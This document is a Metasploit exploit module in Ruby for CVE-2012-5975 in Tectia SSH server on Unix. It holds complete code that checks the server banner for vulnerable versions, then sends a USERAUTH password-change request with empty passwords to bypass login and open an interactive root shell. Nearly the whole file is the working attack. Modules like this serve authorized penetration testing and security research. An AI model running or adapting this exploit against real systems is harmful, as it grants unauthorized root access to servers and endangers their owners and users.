## https://sploitus.com/exploit?id=MSF:EXPLOIT-UNIX-SSH-TECTIA_PASSWD_CHANGEREQ-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::SSH
def initialize(info = {})
super(
update_info(
info,
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Tectia SSH server for Unix-based
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
before password authentication, allowing any remote user to bypass the login
routine, and then gain access as root.
},
'License' => MSF_LICENSE,
'Author' => [
'kingcope', # Original 0day
'bperry',
'sinn3r'
],
'References' => [
['CVE', '2012-5975'],
['EDB', '23082'],
['OSVDB', '88103'],
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12']
],
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [
['Unix-based Tectia SSH 6.3 or prior', {}]
],
'Privileged' => true,
'DisclosureDate' => '2012-12-01',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
], self.class
)
register_advanced_options(
[
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def check
connect
banner = sock.get_once.to_s.strip
vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Banner: #{banner}")
disconnect
# Vulnerable version info obtained from CVE
version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
build = version.split('.')[-1].to_i
case version
when /^6\.0/
unless (4..14).include?(build) or (17..20).include?(build)
return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
end
when /^6\.1/
unless (0..9).include?(build) or build == 12
return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
end
when /^6\.2/
unless (0..5).include?(build)
return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
end
when /^6\.3/
unless (0..2).include?(build)
return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
end
else
return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not in the vulnerable range")
end
# The vulnerable version must use PASSWORD method
user = Rex::Text.rand_text_alpha(4)
transport, connection = init_ssh(user)
return Exploit::CheckCode::Vulnerable("SSH Tectia version #{version} uses PASSWORD authentication") if is_passwd_method?(user, transport)
return Exploit::CheckCode::Safe("SSH Tectia version #{version} does not use PASSWORD authentication")
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def is_passwd_method?(user, transport)
# A normal client is expected to send a ssh-userauth packet.
# Without it, the module can hang against non-vulnerable SSH servers.
transport.send_message(transport.service_request("ssh-userauth"))
message = transport.next_message
# 6 means SERVICE_ACCEPT
if message.type != 6
print_error("Unexpected message: #{message.inspect}")
return false
end
# We send this packet as an attempt to see what auth methods are available.
# The only auth method we want is PASSWORD.
pkt = Net::SSH::Buffer.from(
:byte, 0x32, # userauth request
:string, user, # username
:string, "ssh-connection", # service
:string, "password" # method name
)
pkt.write_bool(true)
pkt.write_string("") # Old pass
pkt.write_string("") # New pass
transport.send_message(pkt)
message = transport.next_message
# Type 51 means the server is trying to tell us what auth methods are allowed.
if message.type == 51 and message.to_s !~ /password/
print_error("#{Rex::Socket.to_authority(rhost, rport)} - This host does not use password method authentication")
return false
end
return true
end
#
# The following link is useful to understand how to craft the USERAUTH password change
# request packet:
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
#
def userauth_passwd_change(user, transport, connection)
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending USERAUTH Change request...")
pkt = Net::SSH::Buffer.from(
:byte, 0x32, # userauth request
:string, user, # username
:string, "ssh-connection", # service
:string, "password" # method name
)
pkt.write_bool(true)
pkt.write_string("") # Old pass
pkt.write_string("") # New pass
transport.send_message(pkt)
message = transport.next_message.type
print_status("#{Rex::Socket.to_authority(rhost, rport)} - Auths that can continue: #{message.inspect}")
if message.to_i == 52 # SSH2_MSG_USERAUTH_SUCCESS
transport.send_message(transport.service_request("ssh-userauth"))
message = transport.next_message.type
if message.to_i == 6 # SSH2_MSG_SERVICE_ACCEPT
shell = Net::SSH::CommandStream.new(connection, logger: self)
connection = nil
return shell
end
end
end
def init_ssh(user)
opts = ssh_client_defaults.merge({
:user => user,
:port => rport
})
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
transport = Net::SSH::Transport::Session.new(rhost, options)
connection = Net::SSH::Connection::Session.new(transport, options)
return transport, connection
end
def do_login(user)
transport, connection = init_ssh(user)
passwd = is_passwd_method?(user, transport)
if passwd
conn = userauth_passwd_change(user, transport, connection)
return conn
end
end
def exploit
c = nil
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
c = do_login(datastore['USERNAME'])
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH - Timed out during negotiation"
return
rescue Net::SSH::Exception => e
print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH Error: #{e.class} : #{e.message}"
return
rescue ::Timeout::Error
print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH - Timed out during negotiation"
return
end
handler(c.lsock) if c
end
end